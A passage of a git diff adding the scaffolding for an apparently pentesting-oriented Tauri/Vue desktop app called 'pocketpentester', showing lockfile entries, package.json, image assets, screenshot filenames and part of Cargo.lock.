"sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/typescript": { + "version": "5.6.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.6.3.tgz", + "integrity": "sha512-hjcS1mhfuyi4WW8IWtjP7brDrG2cuDZukyrYrSauoXGNgx0S7zceP07adYkJycEr56BOUTNPzbInooiN3fn1qw==", + "devOptional": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/vite": { + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.2.tgz", + "integrity": "sha512-2N/55r4JDJ4gdrCvGgINMy+HH3iRpNIz8K6SFwVsA+JbQScLiC+clmAxBgwiSPgcG9U15QmvqCGWzMbqda5zGQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.25.0", + "fdir": "^6.4.4", + "picomatch": "^4.0.2", + "postcss": "^8.5.3", + "rollup": "^4.34.9", + "tinyglobby": "^0.2.13" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || ^20.0.0 || >=22.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", + "jiti": ">=1.21.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/vscode-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/vscode-uri/-/vscode-uri-3.1.0.tgz", + "integrity": "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/vue": { + "version": "3.5.32", + "resolved": "https://registry.npmjs.org/vue/-/vue-3.5.32.tgz", + "integrity": "sha512-vM4z4Q9tTafVfMAK7IVzmxg34rSzTFMyIe0UUEijUCkn9+23lj0WRfA83dg7eQZIUlgOSGrkViIaCfqSAUXsMw==", + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.32", + "@vue/compiler-sfc": "3.5.32", + "@vue/runtime-dom": "3.5.32", + "@vue/server-renderer": "3.5.32", + "@vue/shared": "3.5.32" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/vue-tsc": { + "version": "2.2.12", + "resolved": "https://registry.npmjs.org/vue-tsc/-/vue-tsc-2.2.12.tgz", + "integrity": "sha512-P7OP77b2h/Pmk+lZdJ0YWs+5tJ6J2+uOQPo7tlBnY44QqQSPYvS0qVT4wqDJgwrZaLe47etJLLQRFia71GYITw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/typescript": "2.4.15", + "@vue/language-core": "2.2.12" + }, + "bin": { + "vue-tsc": "bin/vue-tsc.js" + }, + "peerDependencies": { + "typescript": ">=5.0.0" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..8f05aa6 --- /dev/null +++ b/package.json @@ -0,0 +1,24 @@ +{ + "name": "pocketpentester", + "private": true, + "version": "0.1.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "vue-tsc --noEmit && vite build", + "preview": "vite preview", + "tauri": "tauri" + }, + "dependencies": { + "vue": "^3.5.13", + "@tauri-apps/api": "^2", + "@tauri-apps/plugin-opener": "^2" + }, + "devDependencies": { + "@vitejs/plugin-vue": "^5.2.1", + "typescript": "~5.6.2", + "vite": "^6.0.3", + "vue-tsc": "^2.1.10", + "@tauri-apps/cli": "^2" + } +} diff --git a/public/favicon-32.png b/public/favicon-32.png new file mode 100644 index 0000000..b01ebf9 Binary files /dev/null and b/public/favicon-32.png differ diff --git a/public/imtaqin.png b/public/imtaqin.png new file mode 100644 index 0000000..759ad3f Binary files /dev/null and b/public/imtaqin.png differ diff --git a/public/tauri.svg b/public/tauri.svg new file mode 100644 index 0000000..31b62c9 --- /dev/null +++ b/public/tauri.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/public/tegalsec.png b/public/tegalsec.png new file mode 100644 index 0000000..ff8a1c3 Binary files /dev/null and b/public/tegalsec.png differ diff --git a/public/vite.svg b/public/vite.svg new file mode 100644 index 0000000..e7b8dfb --- /dev/null +++ b/public/vite.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/screenshot/admin-finder.png b/screenshot/admin-finder.png new file mode 100644 index 0000000..69ab4db Binary files /dev/null and b/screenshot/admin-finder.png differ diff --git a/screenshot/auto-pwn.png b/screenshot/auto-pwn.png new file mode 100644 index 0000000..7262f31 Binary files /dev/null and b/screenshot/auto-pwn.png differ diff --git a/screenshot/dir-fuzz.png b/screenshot/dir-fuzz.png new file mode 100644 index 0000000..3191a22 Binary files /dev/null and b/screenshot/dir-fuzz.png differ diff --git a/screenshot/form-brute.png b/screenshot/form-brute.png new file mode 100644 index 0000000..74aed7a Binary files /dev/null and b/screenshot/form-brute.png differ diff --git a/screenshot/http-probe.png b/screenshot/http-probe.png new file mode 100644 index 0000000..c43af6e Binary files /dev/null and b/screenshot/http-probe.png differ diff --git a/screenshot/http-prove b/screenshot/http-prove new file mode 100644 index 0000000..01060c8 Binary files /dev/null and b/screenshot/http-prove differ diff --git a/screenshot/jwt.png b/screenshot/jwt.png new file mode 100644 index 0000000..d04626c Binary files /dev/null and b/screenshot/jwt.png differ diff --git a/screenshot/jwtg b/screenshot/jwtg new file mode 100644 index 0000000..c892238 Binary files /dev/null and b/screenshot/jwtg differ diff --git a/screenshot/port-scan.png b/screenshot/port-scan.png new file mode 100644 index 0000000..0a39bf2 Binary files /dev/null and b/screenshot/port-scan.png differ diff --git a/screenshot/screenshot.png b/screenshot/screenshot.png new file mode 100644 index 0000000..28a911b Binary files /dev/null and b/screenshot/screenshot.png differ diff --git a/screenshot/splash.png b/screenshot/splash.png new file mode 100644 index 0000000..f23691a Binary files /dev/null and b/screenshot/splash.png differ diff --git a/screenshot/sqli-scan.png b/screenshot/sqli-scan.png new file mode 100644 index 0000000..4fae688 Binary files /dev/null and b/screenshot/sqli-scan.png differ diff --git a/screenshot/subdo-scan.png b/screenshot/subdo-scan.png new file mode 100644 index 0000000..0ced011 Binary files /dev/null and b/screenshot/subdo-scan.png differ diff --git a/screenshot/subdomain-takeover.png b/screenshot/subdomain-takeover.png new file mode 100644 index 0000000..0f9f6bd Binary files /dev/null and b/screenshot/subdomain-takeover.png differ diff --git a/screenshot/xploiter.png b/screenshot/xploiter.png new file mode 100644 index 0000000..85997f4 Binary files /dev/null and b/screenshot/xploiter.png differ diff --git a/screenshot/xss-scan.png b/screenshot/xss-scan.png new file mode 100644 index 0000000..3dab7d4 Binary files /dev/null and b/screenshot/xss-scan.png differ diff --git a/src-tauri/.gitignore b/src-tauri/.gitignore new file mode 100644 index 0000000..b21bd68 --- /dev/null +++ b/src-tauri/.gitignore @@ -0,0 +1,7 @@ +# Generated by Cargo +# will have compiled files and executables +/target/ + +# Generated by Tauri +# will have schema files for capabilities auto-completion +/gen/schemas diff --git a/src-tauri/Cargo.lock b/src-tauri/Cargo.lock new file mode 100644 index 0000000..2c7e457 --- /dev/null +++ b/src-tauri/Cargo.lock @@ -0,0 +1,6321 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "adler2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "alloc-no-stdlib" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3" + +[[package]] +name = "alloc-stdlib" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece" +dependencies = [ + "alloc-no-stdlib", +] + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anyhow" +version = "1.0.102" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" + +[[package]] +name = "asn1-rs" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56624a96882bb8c26d61312ae18cb45868e5a9992ea73c58e45c3101e56a1e60" +dependencies = [ + "asn1-rs-derive", + "asn1-rs-impl", + "displaydoc", + "nom", + "num-traits", + "rusticata-macros", + "thiserror 2.0.18", + "time", +] + +[[package]] +name = "asn1-rs-derive" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3109e49b1e4909e9db6515a30c633684d68cdeaa252f215214cb4fa1a5bfee2c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", + "synstructure", +] + +[[package]] +name = "asn1-rs-impl" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b18050c2cd6fe86c3a76584ef5e0baf286d038cda203eb6223df2cc413565f7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "async-broadcast" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "435a87a52755b8f27fcf321ac4f04b2802e337c8c4872923137471ec39c37532" +dependencies = [ + "event-listener", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-channel" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "924ed96dd52d1b75e9c1a3e6275715fd320f5f9439fb5a4a11fa51f4221158d2" +dependencies = [ + "concurrent-queue", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-compression" +version = "0.4.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0f9ee0f6e02ffd7ad5816e9464499fba7b3effd01123b515c41d1697c43dad1" +dependencies = [ + "compression-codecs", + "compression-core", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "async-executor" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c96bf972d85afc50bf5ab8fe2d54d1586b4e0b46c97c50a0c9e71e2f7bcd812a" +dependencies = [ + "async-task", + "concurrent-queue", + "fastrand", + "futures-lite", + "pin-project-lite", + "slab", +] + +[[package]] +name = "async-io" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "456b8a8feb6f42d237746d4b3e9a178494627745c3c56c6ea55d92ba50d026fc" +dependencies = [ + "autocfg", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite", + "parking", + "polling", + "rustix", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-lock" +version = "3.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f7f2596bd5b78a9fec8088ccd89180d7f9f55b94b0576823bbbdc72ee8311" +dependencies = [ + "event-listener", + "event-listener-strategy", + "pin-project-lite", +] + +[[package]] +name = "async-process" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc50921ec0055cdd8a16de48773bfeec5c972598674347252c0399676be7da75" +dependencies = [ + "async-channel", + "async-io", + "async-lock", + "async-signal", + "async-task", + "blocking", + "cfg-if", + "event-listener", + "futures-lite", + "rustix", +] + +[[package]] +name = "async-recursion" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b43422f69d8ff38f95f1b2bb76517c91589a924d1559a0e935d7c8ce0274c11" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "async-signal" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52b5aaafa020cf5053a01f2a60e8ff5dccf550f0f77ec54a4e47285ac2bab485" +dependencies = [ + "async-io", + "async-lock", + "atomic-waker", + "cfg-if", + "futures-core", + "futures-io", + "rustix", + "signal-hook-registry", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-task" +version = "4.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b75356056920673b02621b35afd0f7dda9306d03c79a30f5c56c44cf256e3de" + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "atk" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "241b621213072e993be4f6f3a9e4b45f65b7e6faad43001be957184b7bb1824b" +dependencies = [ + "atk-sys", + "glib", + "libc", +] + +[[package]] +name = "atk-sys" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5e48b684b0ca77d2bbadeef17424c2ea3c897d44d566a1617e7e8f30614d086" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "autocfg" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "bit-set" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08807e080ed7f9d5433fa9b275196cfc35414f66a0c79d864dc51a0d825231a3" +dependencies = [ + "bit-vec", +] + +[[package]] +name = "bit-vec" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e764a1d40d510daf35e07be9eb06e75770908c27d411ee6c92109c9840eaaf7" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4512299f36f043ab09a583e57bceb5a5aab7a73db1805848e8fef3c9e8c78b3" +dependencies = [ + "serde_core", +] + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "block2" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cdeb9d870516001442e364c5220d3574d2da8dc765554b4a617230d33fa58ef5" +dependencies = [ + "objc2", +] + +[[package]] +name = "blocking" +version = "1.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e83f8d02be6967315521be875afa792a316e28d57b5a2d401897e2a7921b7f21" +dependencies = [ + "async-channel", + "async-task", + "futures-io", + "futures-lite", + "piper", +] + +[[package]] +name = "brotli" +version = "8.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4bd8b9603c7aa97359dbd97ecf258968c95f3adddd6db2f7e7a5bef101c84560" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", + "brotli-decompressor", +] + +[[package]] +name = "brotli-decompressor" +version = "5.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "874bb8112abecc98cbd6d81ea4fa7e94fb9449648c93cc89aa40c81c24d7de03" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", +] + +[[package]] +name = "bumpalo" +version = "3.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d20789868f4b01b2f2caec9f5c4e0213b41e3e5702a50157d699ae31ced2fcb" + +[[package]] +name = "bytemuck" +version = "1.25.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8efb64bd706a16a1bdde310ae86b351e4d21550d98d056f22f8a7f7a2183fec" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e748733b7cbc798e1434b6ac524f0c1ff2ab456fe201501e6497c8417a4fc33" +dependencies = [ + "serde", +] + +[[package]] +name = "cairo-rs" +version = "0.18.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ca26ef0159422fb77631dc9d17b102f253b876fe1586b03b803e63a309b4ee2" +dependencies = [ + "bitflags 2.11.1", + "cairo-sys-rs", + "glib", + "libc", + "once_cell", + "thiserror 1.0.69", +] + +[[package]] +name = "cairo-sys-rs" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "685c9fa8e590b8b3d678873528d83411db17242a73fccaed827770ea0fedda51" +dependencies = [ + "glib-sys", + "libc", + "system-deps", +] + +[[package]] +name = "camino" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e629a66d692cb9ff1a1c664e41771b3dcaf961985a9774c0eb0bd1b51cf60a48" +dependencies = [ + "serde_core", +] + +[[package]] +name = "cargo-platform" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e35af189006b9c0f00a064685c727031e3ed2d8020f7ba284d78cc2671bd36ea" +dependencies = [ + "serde", +] + +[[package]] +name = "cargo_metadata" +version = "0.19.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd5eb614ed4c27c5d706420e4320fbe3216ab31fa1c33cd8246ac36dae4479ba" +dependencies = [ + "camino", + "cargo-platform", + "semver", + "serde", + "serde_json", + "thiserror 2.0.18", +] + +[[package]] +name = "cargo_toml" +version = "0.22.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "374b7c592d9c00c1f4972ea58390ac6b18cbb6ab79011f3bdc90a0b82ca06b77" +dependencies = [ + "serde", + "toml 0.9.12+spec-1.1.0", +] + +[[package]] +name = "cc" +version = "1.2.60" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43c5703da9466b66a946814e1adf53ea2c90f10063b86290cc9eb67ce3478a20" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cesu8" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c" + +[[package]] +name = "cfb" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d38f2da7a0a2c4ccf0065be06397cc26a81f4e528be095826eee9d4adbb8c60f" +dependencies = [ + "byteorder", + "fnv", + "uuid", +] + +[[package]] +name = "cfg-expr" +version = "0.15.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d067ad48b8650848b989a59a86c6c36a995d02d2bf778d45c3c5d57bc2718f02" +dependencies = [ + "smallvec", + "target-lexicon", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "cfg_aliases" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" + +[[package]] +name = "chrono" +version = "0.4.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c673075a2e0e5f4a1dde27ce9dee1ea4558c7ffe648f576438a20ca1d2acc4b0" +dependencies = [ + "iana-time-zone", + "num-traits", + "serde", + "windows-link 0.2.1", +] + +[[package]] +name = "combine" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba5a308b75df32fe02788e748662718f03fde005016435c444eea572398219fd" +dependencies = [ + "bytes", + "memchr", +] + +[[package]] +name = "compression-codecs" +version = "0.4.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb7b51a7d9c967fc26773061ba86150f19c50c0d65c887cb1fbe295fd16619b7" +dependencies = [ + "compression-core", + "flate2", + "memchr", +] + +[[package]] +name = "compression-core" +version = "0.4.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75984efb6ed102a0d42db99afb6c1948f0380d1d91808d5529916e6c08b49d8d" + +[[package]] +name = "concurrent-queue" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "convert_case" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e" + +[[package]] +name = "cookie" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ddef33a339a91ea89fb53151bd0a4689cfce27055c291dfa69945475d22c747" +dependencies = [ + "percent-encoding", + "time", + "version_check", +] + +[[package]] +name = "cookie_store" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15b2c103cf610ec6cae3da84a766285b42fd16aad564758459e6ecf128c75206" +dependencies = [ + "cookie", + "document-features", + "idna", + "log", + "publicsuffix", + "serde", + "serde_derive", + "serde_json", + "time", + "url", +] + +[[package]] +name = "core-foundation" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a6cd9ae233e7f62ba4e9353e81a88df7fc8a5987b8d445b4d90c879bd156f6" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "core-graphics" +version = "0.25.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "064badf302c3194842cf2c5d61f56cc88e54a759313879cdf03abdd27d0c3b97" +dependencies = [ + "bitflags 2.11.1", + "core-foundation", + "core-graphics-types", + "foreign-types", + "libc", +] + +[[package]] +name = "core-graphics-types" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d44a101f213f6c4cdc1853d4b78aef6db6bdfa3468798cc1d9912f4735013eb" +dependencies = [ + "bitflags 2.11.1", + "core-foundation", + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crc32fast" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crossbeam-channel" +version = "0.5.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82b8f8f868b36967f9606790d1903570de9ceaf870a7bf9fbbd3016d636a2cb2" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "cssparser" +version = "0.29.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f93d03419cb5950ccfd3daf3ff1c7a36ace64609a1a8746d493df1ca0afde0fa" +dependencies = [ + "cssparser-macros", + "dtoa-short", + "itoa", + "matches", + "phf 0.10.1", + "proc-macro2", + "quote", + "smallvec", + "syn 1.0.109", +] + +[[package]] +name = "cssparser" +version = "0.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dae61cf9c0abb83bd659dab65b7e4e38d8236824c85f0f804f173567bda257d2" +dependencies = [ + "cssparser-macros", + "dtoa-short", + "itoa", + "phf 0.13.1", + "smallvec", +] + +[[package]] +name = "cssparser-macros" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331" +dependencies = [ + "quote", + "syn 2.0.117", +] + +[[package]] +name = "ctor" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a2785755761f3ddc1492979ce1e48d2c00d09311c39e4466429188f3dd6501" +dependencies = [ + "quote", + "syn 2.0.117", +] + +[[package]] +name = "darling" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc7f46116c46ff9ab3eb1597a45688b6715c6e628b5c133e288e709a29bcb4ee" +dependencies = [ + "darling_core 0.20.11", + "darling_macro 0.20.11", +] + +[[package]] +name = "darling" +version = "0.23.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25ae13da2f202d56bd7f91c25fba009e7717a1e4a1cc98a76d844b65ae912e9d" +dependencies = [ + "darling_core 0.23.0", + "darling_macro 0.23.0", +] + +[[package]] +name = "darling_core" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d00b9596d185e565c2207a0b01f8bd1a135483d02d9b7b0a54b11da8d53412e" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim", + "syn 2.0.117", +] + +[[package]] +name = "darling_core" +version = "0.23.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9865a50f7c335f53564bb694ef660825eb8610e0a53d3e11bf1b0d3df31e03b0" +dependencies = [ + "ident_case", + "proc-macro2", + "quote", + "strsim", + "syn 2.0.117", +] + +[[package]] +name = "darling_macro" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc34b93ccb385b40dc71c6fceac4b2ad23662c7eeb248cf10d529b7e055b6ead" +dependencies = [ + "darling_core 0.20.11", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "darling_macro" +version = "0.23.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3984ec7bd6cfa798e62b4a642426a5be0e68f9401cfc2a01e3fa9ea2fcdb8d" +dependencies = [ + "darling_core 0.23.0", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "data-encoding" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7a1e2f27636f116493b8b860f5546edb47c8d8f8ea73e1d2a20be88e28d1fea" + +[[package]] +name = "der-parser" +version = "10.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07da5016415d5a3c4dd39b11ed26f915f52fc4e0dc197d87908bc916e51bc1a6" +dependencies = [ + "asn1-rs", + "displaydoc", + "nom", + "num-bigint", + "num-traits", + "rusticata-macros", +] + +[[package]] +name = "deranged" +version = "0.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cd812cc2bc1d69d4764bd80df88b4317eaef9e773c75226407d9bc0876b211c" +dependencies = [ + "powerfmt", + "serde_core", +] + +[[package]] +name = "derive_builder" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "507dfb09ea8b7fa618fcf76e953f4f5e192547945816d5358edffe39f6f94947" +dependencies = [ + "derive_builder_macro", +] + +[[package]] +name = "derive_builder_core" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d5bcf7b024d6835cfb3d473887cd966994907effbe9227e8c8219824d06c4e8" +dependencies = [ + "darling 0.20.11", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "derive_builder_macro" +version = "0.20.2" +source 